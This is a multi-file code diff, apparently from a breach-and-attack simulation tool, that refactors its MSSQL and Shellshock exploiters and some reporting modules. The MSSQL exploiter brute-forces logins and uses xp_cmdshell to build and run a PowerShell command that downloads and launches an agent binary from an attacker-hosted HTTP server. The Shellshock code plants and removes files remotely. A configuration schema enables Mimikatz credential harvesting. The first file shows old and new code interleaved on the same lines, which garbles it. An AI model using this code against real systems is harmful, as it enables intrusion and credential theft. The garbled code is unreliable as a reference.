EXPLOIT_COMMAND_PREFIX = "<nul set /p="
EXPLOIT_COMMAND_SUFFIX = ">>{payload_file_path}"
CREATE_COMMAND_SUFFIX = ">{payload_file_path}"
MONKEY_DOWNLOAD_COMMAND = "powershell (new-object System.Net.WebClient)." \
"DownloadFile(^\'{http_path}^\' , ^\'{dst_path}^\')"
def __init__(self, host): def __init__(self, host):
super(MSSQLExploiter, self).__init__(host) super(MSSQLExploiter, self).__init__(host)
self.cursor = None
self.monkey_server = None
self.payload_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME)
def _exploit_host(self): def _exploit_host(self):
"""
First this method brute forces to get the mssql connection (cursor).
Also, don't forget to start_monkey_server() before self.upload_monkey() and self.stop_monkey_server() after
"""
# Brute force to get connection # Brute force to get connection
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list) self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list)
if not cursor: # Create dir for payload
LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) self.create_temp_dir()
return False
# Get monkey exe for host and it's path try:
src_path = get_target_monkey(self.host) self.create_empty_payload_file()
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# Create server for http download and wait for it's startup. self.start_monkey_server()
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path) self.upload_monkey()
if not http_path: self.stop_monkey_server()
LOG.debug("Exploiter failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
dst_path = get_monkey_dest_path(http_path) # Clear payload to pass in another command
tmp_file_path = os.path.join(get_monkey_dir_path(), MSSQLExploiter.TMP_FILE_NAME) self.create_empty_payload_file()
# Create monkey dir. self.run_monkey()
commands = ["xp_cmdshell \"mkdir %s\"" % get_monkey_dir_path()]
MSSQLExploiter.execute_command(cursor, commands)
# Form download command in a file self.remove_temp_dir()
commands = [ except Exception as e:
"xp_cmdshell \"<nul set /p=powershell (new-object System.Net.WebClient).DownloadFile>%s\"" % tmp_file_path, raise ExploitingVulnerableMachineError, e.args, sys.exc_info()[2]
"xp_cmdshell \"<nul set /p=(^\'%s^\' >>%s\"" % (http_path, tmp_file_path),
"xp_cmdshell \"<nul set /p=, ^\'%s^\') >>%s\"" % (dst_path, tmp_file_path)] return True
MSSQLExploiter.execute_command(cursor, commands)
MSSQLExploiter.run_file(cursor, tmp_file_path) def run_payload_file(self):
self.add_executed_cmd(' '.join(commands)) file_running_command = MSSQLLimitedSizePayload(self.payload_file_path)
# Form monkey's command in a file return self.run_mssql_command(file_running_command)
def create_temp_dir(self):
dir_creation_command = MSSQLLimitedSizePayload(command="mkdir {}".format(MSSQLExploiter.TMP_DIR_PATH))
self.run_mssql_command(dir_creation_command)
def create_empty_payload_file(self):
suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path)
tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix)
self.run_mssql_command(tmp_file_creation_command)
def run_mssql_command(self, mssql_command):
array_of_commands = mssql_command.split_into_array_of_smaller_payloads()
if not array_of_commands:
raise Exception("Couldn't execute MSSQL exploiter because payload was too long")
self.run_mssql_commands(array_of_commands)
def run_monkey(self):
monkey_launch_command = self.get_monkey_launch_command()
self.run_mssql_command(monkey_launch_command)
self.run_payload_file()
def run_mssql_commands(self, cmds):
for cmd in cmds:
self.cursor.execute(cmd)
sleep(MSSQLExploiter.QUERY_BUFFER)
def upload_monkey(self):
monkey_download_command = self.write_download_command_to_payload()
self.run_payload_file()
self.add_executed_cmd(monkey_download_command.command)
def remove_temp_dir(self):
# Remove temporary dir we stored payload at
tmp_file_removal_command = MSSQLLimitedSizePayload(command="del {}".format(self.payload_file_path))
self.run_mssql_command(tmp_file_removal_command)
tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir {}".format(MSSQLExploiter.TMP_DIR_PATH))
self.run_mssql_command(tmp_dir_removal_command)
def start_monkey_server(self):
self.monkey_server = MonkeyHTTPServer(self.host)
self.monkey_server.start()
def stop_monkey_server(self):
self.monkey_server.stop()
def write_download_command_to_payload(self):
monkey_download_command = self.get_monkey_download_command()
self.run_mssql_command(monkey_download_command)
return monkey_download_command
def get_monkey_launch_command(self):
dst_path = get_monkey_dest_path(self.monkey_server.http_path)
# Form monkey's launch command
monkey_args = build_monkey_commandline(self.host, monkey_args = build_monkey_commandline(self.host,
get_monkey_depth() - 1, get_monkey_depth() - 1,
dst_path) dst_path)
monkey_args = ["xp_cmdshell \"<nul set /p=%s >>%s\"" % (part, tmp_file_path) suffix = ">>{}".format(self.payload_file_path)
for part in textwrap.wrap(monkey_args, 40)] prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
commands = ["xp_cmdshell \"<nul set /p=%s %s >%s\"" % (dst_path, DROPPER_ARG, tmp_file_path)] return MSSQLLimitedSizePayload(command="{} {} {}".format(dst_path, DROPPER_ARG, monkey_args),
commands.extend(monkey_args) prefix=prefix,
MSSQLExploiter.execute_command(cursor, commands) suffix=suffix)
MSSQLExploiter.run_file(cursor, tmp_file_path)
self.add_executed_cmd(commands[-1])
return True
@staticmethod def get_monkey_download_command(self):
def run_file(cursor, file_path): dst_path = get_monkey_dest_path(self.monkey_server.http_path)
command = ["exec xp_cmdshell \"%s\"" % file_path] monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.\
return MSSQLExploiter.execute_command(cursor, command) format(http_path=self.monkey_server.http_path, dst_path=dst_path)
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
@staticmethod suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path)
def execute_command(cursor, cmds): return MSSQLLimitedSizePayload(command=monkey_download_command,
""" suffix=suffix,
Executes commands on MSSQL server prefix=prefix)
:param cursor: MSSQL connection
:param cmds: list of commands in MSSQL syntax.
:return: True if successfully executed, false otherwise.
"""
try:
# Running the cmd on remote host
for cmd in cmds:
cursor.execute(cmd)
sleep(MSSQLExploiter.QUERY_BUFFER)
except Exception as e:
LOG.error('Error sending the payload using xp_cmdshell to host: %s' % e)
return False
return True
def brute_force(self, host, port, users_passwords_pairs_list): def brute_force(self, host, port, users_passwords_pairs_list):
""" """
Starts the brute force connection attempts and if needed then init the payload process. Starts the brute force connection attempts and if needed then init the payload process.
Main loop starts here. Main loop starts here.
Args: Args:
host (str): Host ip address host (str): Host ip address
port (str): Tcp port that the host listens to port (str): Tcp port that the host listens to
users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
Return: Return:
True or False depends if the whole bruteforce and attack process was completed successfully or not True or False depends if the whole bruteforce and attack process was completed successfully or not
""" """
# Main loop # Main loop
# Iterates on users list # Iterates on users list
for user, password in users_passwords_pairs_list: for user, password in users_passwords_pairs_list:
@ -138,4 +186,12 @@ class MSSQLExploiter(HostExploiter):
LOG.warning('No user/password combo was able to connect to host: {0}:{1}, ' LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
'aborting brute force'.format(host, port)) 'aborting brute force'.format(host, port))
return None raise RuntimeError("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
class MSSQLLimitedSizePayload(LimitedSizePayload):
def __init__(self, command, prefix="", suffix=""):
super(MSSQLLimitedSizePayload, self).__init__(command=command,
max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE,
prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START+prefix,
suffix=suffix+MSSQLExploiter.XP_CMDSHELL_COMMAND_END)

View File

@ -20,6 +20,7 @@ LOG = logging.getLogger(__name__)
TIMEOUT = 2 TIMEOUT = 2
TEST_COMMAND = '/bin/uname -a' TEST_COMMAND = '/bin/uname -a'
DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
LOCK_HELPER_FILE = '/tmp/monkey_shellshock'
class ShellShockExploiter(HostExploiter): class ShellShockExploiter(HostExploiter):
@ -108,6 +109,10 @@ class ShellShockExploiter(HostExploiter):
LOG.info("Can't find suitable monkey executable for host %r", self.host) LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False return False
if not self._create_lock_file(exploit, url, header):
LOG.info("Another monkey is running shellshock exploit")
return True
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path: if not http_path:
@ -124,6 +129,8 @@ class ShellShockExploiter(HostExploiter):
http_thread.join(DOWNLOAD_TIMEOUT) http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop() http_thread.stop()
self._remove_lock_file(exploit, url, header)
if (http_thread.downloads != 1) or ( if (http_thread.downloads != 1) or (
'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)): 'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
@ -182,6 +189,17 @@ class ShellShockExploiter(HostExploiter):
LOG.debug("URL %s does not seem to be vulnerable with %s header" % (url, header)) LOG.debug("URL %s does not seem to be vulnerable with %s header" % (url, header))
return False, return False,
def _create_lock_file(self, exploit, url, header):
if self.check_remote_file_exists(url, header, exploit, LOCK_HELPER_FILE):
return False
cmd = exploit + 'echo AAAA > %s' % LOCK_HELPER_FILE
self.attack_page(url, header, cmd)
return True
def _remove_lock_file(self, exploit, url, header):
cmd = exploit + 'rm %s' % LOCK_HELPER_FILE
self.attack_page(url, header, cmd)
@staticmethod @staticmethod
def attack_page(url, header, attack): def attack_page(url, header, attack):
result = "" result = ""

View File

@ -0,0 +1,5 @@
class ExploitingVulnerableMachineError(Exception):
""" Raise when exploiter failed, but machine is vulnerable"""
pass

View File

@ -47,6 +47,13 @@ def get_interface_to_target(dst):
return ret[1] return ret[1]
def try_get_target_monkey(host):
src_path = get_target_monkey(host)
if not src_path:
raise Exception("Can't find suitable monkey executable for host %r", host)
return src_path
def get_target_monkey(host): def get_target_monkey(host):
from infection_monkey.control import ControlClient from infection_monkey.control import ControlClient
import platform import platform

View File

@ -7,8 +7,8 @@ from threading import Lock
from infection_monkey.network.firewall import app as firewall from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import get_free_tcp_port from infection_monkey.network.info import get_free_tcp_port
from infection_monkey.transport import HTTPServer, LockedHTTPServer from infection_monkey.transport import HTTPServer, LockedHTTPServer
from infection_monkey.exploit.tools.helpers import get_interface_to_target from infection_monkey.exploit.tools.helpers import try_get_target_monkey, get_interface_to_target
from infection_monkey.model import DOWNLOAD_TIMEOUT
__author__ = 'itamar' __author__ = 'itamar'
@ -16,6 +16,7 @@ LOG = logging.getLogger(__name__)
class HTTPTools(object): class HTTPTools(object):
@staticmethod @staticmethod
def create_transfer(host, src_path, local_ip=None, local_port=None): def create_transfer(host, src_path, local_ip=None, local_port=None):
if not local_port: if not local_port:
@ -33,6 +34,14 @@ class HTTPTools(object):
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
@staticmethod
def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None):
http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, local_ip, local_port)
if not http_path:
raise Exception("Http transfer creation failed.")
LOG.info("Started http server on %s", http_path)
return http_path, http_thread
@staticmethod @staticmethod
def create_locked_transfer(host, src_path, local_ip=None, local_port=None): def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
""" """
@ -60,3 +69,22 @@ class HTTPTools(object):
httpd.start() httpd.start()
lock.acquire() lock.acquire()
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
class MonkeyHTTPServer(HTTPTools):
def __init__(self, host):
super(MonkeyHTTPServer, self).__init__()
self.http_path = None
self.http_thread = None
self.host = host
def start(self):
# Get monkey exe for host and it's path
src_path = try_get_target_monkey(self.host)
self.http_path, self.http_thread = MonkeyHTTPServer.try_create_locked_transfer(self.host, src_path)
def stop(self):
if not self.http_path or not self.http_thread:
raise RuntimeError("Can't stop http server that wasn't started!")
self.http_thread.join(DOWNLOAD_TIMEOUT)
self.http_thread.stop()

View File

@ -0,0 +1,63 @@
import logging
import textwrap
LOG = logging.getLogger(__name__)
class Payload(object):
"""
Class for defining and parsing a payload (commands with prefixes/suffixes)
"""
def __init__(self, command, prefix="", suffix=""):
self.command = command
self.prefix = prefix
self.suffix = suffix
def get_payload(self, command=""):
"""
Returns prefixed and suffixed command (payload)
:param command: Command to suffix/prefix. If no command is passed than objects' property is used
:return: prefixed and suffixed command (full payload)
"""
if not command:
command = self.command
return "{}{}{}".format(self.prefix, command, self.suffix)
class LimitedSizePayload(Payload):
"""
Class for defining and parsing commands/payloads
"""
def __init__(self, command, max_length, prefix="", suffix=""):
"""
:param command: command
:param max_length: max length that payload(prefix + command + suffix) can have
:param prefix: commands prefix
:param suffix: commands suffix
"""
super(LimitedSizePayload, self).__init__(command, prefix, suffix)
self.max_length = max_length
def is_suffix_and_prefix_too_long(self):
return self.payload_is_too_long(self.suffix + self.prefix)
def split_into_array_of_smaller_payloads(self):
if self.is_suffix_and_prefix_too_long():
raise Exception("Can't split command into smaller sub-commands because commands' prefix and suffix already "
"exceeds required length of command.")
elif self.command == "":
return [self.prefix+self.suffix]
wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length())
commands = [self.get_payload(part)
for part
in wrapper.wrap(self.command)]
return commands
def get_max_sub_payload_length(self):
return self.max_length - len(self.prefix) - len(self.suffix)
def payload_is_too_long(self, command):
return len(command) >= self.max_length

View File

@ -0,0 +1,32 @@
from unittest import TestCase
from payload_parsing import Payload, LimitedSizePayload
class TestPayload(TestCase):
def test_get_payload(self):
test_str1 = "abc"
test_str2 = "atc"
payload = Payload(command="b", prefix="a", suffix="c")
assert payload.get_payload() == test_str1 and payload.get_payload("t") == test_str2
def test_is_suffix_and_prefix_too_long(self):
pld_fail = LimitedSizePayload("b", 2, "a", "c")
pld_success = LimitedSizePayload("b", 3, "a", "c")
assert pld_fail.is_suffix_and_prefix_too_long() and not pld_success.is_suffix_and_prefix_too_long()
def test_split_into_array_of_smaller_payloads(self):
test_str1 = "123456789"
pld1 = LimitedSizePayload(test_str1, max_length=16, prefix="prefix", suffix="suffix")
array1 = pld1.split_into_array_of_smaller_payloads()
test1 = bool(array1[0] == "prefix1234suffix" and
array1[1] == "prefix5678suffix" and
array1[2] == "prefix9suffix")
test_str2 = "12345678"
pld2 = LimitedSizePayload(test_str2, max_length=16, prefix="prefix", suffix="suffix")
array2 = pld2.split_into_array_of_smaller_payloads()
test2 = bool(array2[0] == "prefix1234suffix" and
array2[1] == "prefix5678suffix" and len(array2) == 2)
assert test1 and test2

View File

@ -27,6 +27,7 @@ from infection_monkey.windows_upgrader import WindowsUpgrader
from infection_monkey.post_breach.post_breach_handler import PostBreach from infection_monkey.post_breach.post_breach_handler import PostBreach
from common.utils.attack_utils import ScanStatus from common.utils.attack_utils import ScanStatus
from infection_monkey.exploit.tools.helpers import get_interface_to_target from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError
__author__ = 'itamar' __author__ = 'itamar'
@ -301,7 +302,11 @@ class InfectionMonkey(object):
return True return True
else: else:
LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__) LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
except ExploitingVulnerableMachineError as exc:
LOG.error("Exception while attacking %s using %s: %s",
machine, exploiter.__class__.__name__, exc)
self.successfully_exploited(machine, exploiter)
return True
except Exception as exc: except Exception as exc:
LOG.exception("Exception while attacking %s using %s: %s", LOG.exception("Exception while attacking %s using %s: %s",
machine, exploiter.__class__.__name__, exc) machine, exploiter.__class__.__name__, exc)

View File

@ -12,6 +12,7 @@ LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ' __author__ = 'VakarisZ'
EXECUTION_WITHOUT_OUTPUT = "(PBA execution produced no output)"
class PBA(object): class PBA(object):
""" """
@ -74,7 +75,10 @@ class PBA(object):
:return: Tuple of command's output string and boolean, indicating if it succeeded :return: Tuple of command's output string and boolean, indicating if it succeeded
""" """
try: try:
return subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True), True output = subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True)
if not output:
output = EXECUTION_WITHOUT_OUTPUT
return output, True
except subprocess.CalledProcessError as e: except subprocess.CalledProcessError as e:
# Return error output of the command # Return error output of the command
return e.output, False return e.output, False

View File

@ -21,7 +21,7 @@ json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'isla
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
from monkey_island.cc.app import init_app from monkey_island.cc.app import init_app
from monkey_island.cc.exporter_init import populate_exporter_list from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list
from monkey_island.cc.utils import local_ip_addresses from monkey_island.cc.utils import local_ip_addresses
from monkey_island.cc.environment.environment import env from monkey_island.cc.environment.environment import env
from monkey_island.cc.database import is_db_server_up, get_db_version from monkey_island.cc.database import is_db_server_up, get_db_version

View File

@ -38,6 +38,8 @@ class Monkey(Document):
ttl_ref = ReferenceField(MonkeyTtl) ttl_ref = ReferenceField(MonkeyTtl)
tunnel = ReferenceField("self") tunnel = ReferenceField("self")
command_control_channel = EmbeddedDocumentField(CommandControlChannel) command_control_channel = EmbeddedDocumentField(CommandControlChannel)
aws_instance_id = StringField(required=False) # This field only exists when the monkey is running on an AWS
# instance. See https://github.com/guardicore/monkey/issues/426.
# LOGIC # LOGIC
@staticmethod @staticmethod

View File

@ -415,7 +415,7 @@ SCHEMA = {
"title": "Harvest Azure Credentials", "title": "Harvest Azure Credentials",
"type": "boolean", "type": "boolean",
"default": True, "default": True,
"attack_techniques": ["T1003", "T1078"], "attack_techniques": ["T1003"],
"description": "description":
"Determine if the Monkey should try to harvest password credentials from Azure VMs" "Determine if the Monkey should try to harvest password credentials from Azure VMs"
}, },
@ -430,7 +430,7 @@ SCHEMA = {
"title": "Should use Mimikatz", "title": "Should use Mimikatz",
"type": "boolean", "type": "boolean",
"default": True, "default": True,
"attack_techniques": ["T1003", "T1078"], "attack_techniques": ["T1003"],
"description": "Determines whether to use Mimikatz" "description": "Determines whether to use Mimikatz"
}, },
} }

View File

@ -7,7 +7,7 @@ from botocore.exceptions import UnknownServiceError
from common.cloud.aws_instance import AwsInstance from common.cloud.aws_instance import AwsInstance
from monkey_island.cc.environment.environment import load_server_configuration_from_file from monkey_island.cc.environment.environment import load_server_configuration_from_file
from monkey_island.cc.resources.exporter import Exporter from monkey_island.cc.services.reporting.exporter import Exporter
__authors__ = ['maor.rayzin', 'shay.nehmad'] __authors__ = ['maor.rayzin', 'shay.nehmad']

View File

@ -1,16 +1,16 @@
import logging import logging
from monkey_island.cc.report_exporter_manager import ReportExporterManager from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager
from monkey_island.cc.resources.aws_exporter import AWSExporter from monkey_island.cc.services.reporting.aws_exporter import AWSExporter
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
from monkey_island.cc.environment.environment import env
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
def populate_exporter_list(): def populate_exporter_list():
manager = ReportExporterManager() manager = ReportExporterManager()
RemoteRunAwsService.init() RemoteRunAwsService.init()
if RemoteRunAwsService.is_running_on_aws(): if RemoteRunAwsService.is_running_on_aws() and ('aws' == env.get_deployment()):
manager.add_exporter_to_list(AWSExporter) manager.add_exporter_to_list(AWSExporter)
if len(manager.get_exporters_list()) != 0: if len(manager.get_exporters_list()) != 0:

View File

@ -12,7 +12,7 @@ from six import text_type
from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst
from monkey_island.cc.database import mongo from monkey_island.cc.database import mongo
from monkey_island.cc.models import Monkey from monkey_island.cc.models import Monkey
from monkey_island.cc.report_exporter_manager import ReportExporterManager from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager
from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.config import ConfigService
from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups
from monkey_island.cc.services.edge import EdgeService from monkey_island.cc.services.edge import EdgeService

View File

@ -27,9 +27,9 @@ class ReportExporterManager(object):
self._exporters_set.add(exporter) self._exporters_set.add(exporter)
def export(self, report): def export(self, report):
try: for exporter in self._exporters_set:
for exporter in self._exporters_set: logger.debug("Trying to export using " + repr(exporter))
logger.debug("Trying to export using " + repr(exporter)) try:
exporter().handle_report(report) exporter().handle_report(report)
except Exception as e: except Exception as e:
logger.exception('Failed to export report, error: ' + e.message) logger.exception('Failed to export report, error: ' + e.message)

View File

@ -24,7 +24,7 @@ let renderPbaResults = function (results) {
}; };
const subColumns = [ const subColumns = [
{id: 'pba_name', Header: "Name", accessor: x => x.name, style: { 'whiteSpace': 'unset' }}, {id: 'pba_name', Header: "Name", accessor: x => x.name, style: { 'whiteSpace': 'unset' }, width: 160},
{id: 'pba_output', Header: "Output", accessor: x => renderPbaResults(x.result), style: { 'whiteSpace': 'unset' }} {id: 'pba_output', Header: "Output", accessor: x => renderPbaResults(x.result), style: { 'whiteSpace': 'unset' }}
]; ];